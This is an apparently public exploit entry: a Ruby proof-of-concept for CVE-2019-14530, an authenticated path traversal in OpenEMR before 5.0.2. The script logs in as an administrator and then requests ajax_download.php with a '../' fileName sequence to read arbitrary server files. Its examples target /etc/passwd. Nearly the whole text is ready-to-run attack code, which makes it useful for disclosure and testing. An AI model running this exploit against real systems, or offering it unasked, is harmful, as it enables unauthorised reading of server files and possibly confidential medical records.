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# Title: OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2) # Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr) # Exploit source: https://github.com/sec-it/exploit-CVE-2019-14530 # Date: 2021-06-24 # Vendor Homepage: https://www.open-emr.org/ # Software Link: https://github.com/openemr/openemr/archive/v5_0_1_7.tar.gz # Docker PoC: https://github.com/sec-it/exploit-CVE-2019-14530/blob/master/docker-compose.yml # Version: < 5.0.2 (it means up to 5.0.1.7) # Tested on: OpenEMR Version 5.0.1 # References: https://www.exploit-db.com/exploits/50037 # CVE: CVE-2019-14530 # CWE: CWE-22 # Patch: https://github.com/openemr/openemr/pull/2592/files #!/usr/bin/env ruby require 'pathname' require 'httpx' require 'docopt' doc = <<~DOCOPT OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure Source: https://github.com/sec-it/exploit-CVE-2019-14530 Usage: #{__FILE__} exploit <url> <filename> <username> <password> [--debug] #{__FILE__} -h | --help Options: <url> Root URL (base path) including HTTP scheme, port and root folder <filename>Filename of the file to be read <username>Username of the admin <password>Password of the admin --debug Display arguments -h, --helpShow this screen Examples: #{__FILE__} exploit http://example.org/openemr /etc/passwd admin pass #{__FILE__} exploit https://example.org:5000/ /etc/passwd admin pass DOCOPT def login(root_url, user, pass, http) vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default" params = { 'new_login_session_management' => '1', 'authProvider' => 'Default', 'authUser' => user, 'clearPass' => pass, 'languageChoice' => '1' } http.post(vuln_url, form: params).body.to_s end def exploit(root_url, filename, http) vuln_url = "#{root_url}/custom/ajax_download.php?fileName=../../../../../../../../../#{filename}" http.get(vuln_url).body.to_s end begin args = Docopt.docopt(doc) pp args if args['--debug'] if args['exploit'] http = HTTPX.plugin(:cookies).plugin(:follow_redirects) login(args['<url>'], args['<username>'], args['<password>'], http) puts exploit(args['<url>'], args['<filename>'], http) end rescue Docopt::Exit => e puts e.message end |
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